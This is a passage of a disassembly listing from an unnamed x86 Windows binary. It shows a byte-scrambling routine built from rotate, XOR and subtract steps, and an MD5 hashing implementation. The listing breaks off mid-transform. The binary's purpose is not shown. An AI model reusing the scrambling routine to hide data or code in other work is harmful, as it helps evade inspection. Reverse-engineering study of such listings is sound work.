		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40F0C4
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _lrotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F075
; ---------------------------------------------------------------------------


loc_40F0C4:				; CODE XREF: sub_40F040+42j
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40F0D4
; ---------------------------------------------------------------------------


loc_40F0CD:				; CODE XREF: sub_40F040+D8j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40F0D4:				; CODE XREF: sub_40F040+8Bj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F11A
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _lrotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F0CD
; ---------------------------------------------------------------------------


loc_40F11A:				; CODE XREF: sub_40F040+98j
		mov	eax, [ebp+arg_4]
		leave
		retn
sub_40F040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F11F	proc near		; CODE XREF: sub_40ECEB+Dp
					; sub_40ED6E+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 67452301h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 98BADCFEh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 10325476h
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+14h], 0
		pop	ebp
		retn
sub_40F11F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F159	proc near		; CODE XREF: sub_40ECEB+1Dp
					; sub_40ED6E+1Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax*8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+10h], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F18E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], eax


loc_40F18E:				; CODE XREF: sub_40F159+26j
		mov	eax, [ebp+arg_8]
		shr	eax, 1Dh
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		add	ecx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_4]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_40F21C
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_8], eax
		push	40h
		pop	eax
		sub	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F1E8
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	locret_40F26C
; ---------------------------------------------------------------------------


loc_40F1E8:				; CODE XREF: sub_40F159+77j
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]
		mov	[ebp+arg_8], eax


loc_40F21C:				; CODE XREF: sub_40F159+59j
					; sub_40F159+FCj
		cmp	[ebp+arg_8], 40h
		jb	short loc_40F257
		push	40h
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, 40h
		mov	[ebp+arg_8], eax
		jmp	short loc_40F21C
; ---------------------------------------------------------------------------


loc_40F257:				; CODE XREF: sub_40F159+C7j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch

locret_40F26C:				; CODE XREF: sub_40F159+8Aj
		leave
		retn
sub_40F159	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F26E	proc near		; CODE XREF: sub_40ECEB+2Ep
					; sub_40ED6E+2Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+10h]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	80h
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		push	3Fh
		pop	eax
		sub	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 8
		jnb	short loc_40F2E1
		push	[ebp+var_8]
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	38h
		push	0
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_40F2F5
; ---------------------------------------------------------------------------


loc_40F2E1:				; CODE XREF: sub_40F26E+3Bj
		mov	eax, [ebp+var_8]
		sub	eax, 8
		push	eax
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_40F2F5:				; CODE XREF: sub_40F26E+71j
		push	8
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, 50h
		push	eax
		call	sub_40F33F
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	10h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F33F
		add	esp, 0Ch
		push	4
		push	0
		push	[ebp+arg_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		leave
		retn
sub_40F26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F33F	proc near		; CODE XREF: sub_40F26E+97p
					; sub_40F26E+B8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_40F35E
; ---------------------------------------------------------------------------


loc_40F34E:				; CODE XREF: sub_40F33F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_40F35E:				; CODE XREF: sub_40F33F+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_40F3CC
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 8
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+1], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 10h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+2], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 18h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+3], al
		jmp	short loc_40F34E
; ---------------------------------------------------------------------------

locret_40F3CC:				; CODE XREF: sub_40F33F+25j
		leave
		retn
sub_40F33F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3CE	proc near		; CODE XREF: sub_40F159+AAp
					; sub_40F159+E3p ...

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	40h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_410244
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-28955B88h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-173848AAh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+242070DBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3E423112h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0A83F051h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4787C62Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-57CFB9EDh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-2B96AFFh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+698098D8h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-74BB0851h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0A44Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-76A32842h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6B901122h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-2678E6Dh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5986BC72h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+49B40821h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-9E1DA9Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3FBF4CC0h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+265E5A51h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-16493856h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-29D0EFA3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+2441453h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-275E197Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-182C0438h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+21E1CDE6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3CC8F82Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0B2AF279h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+455A14EDh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-561C16FBh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3105C08h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+676F02D9h]
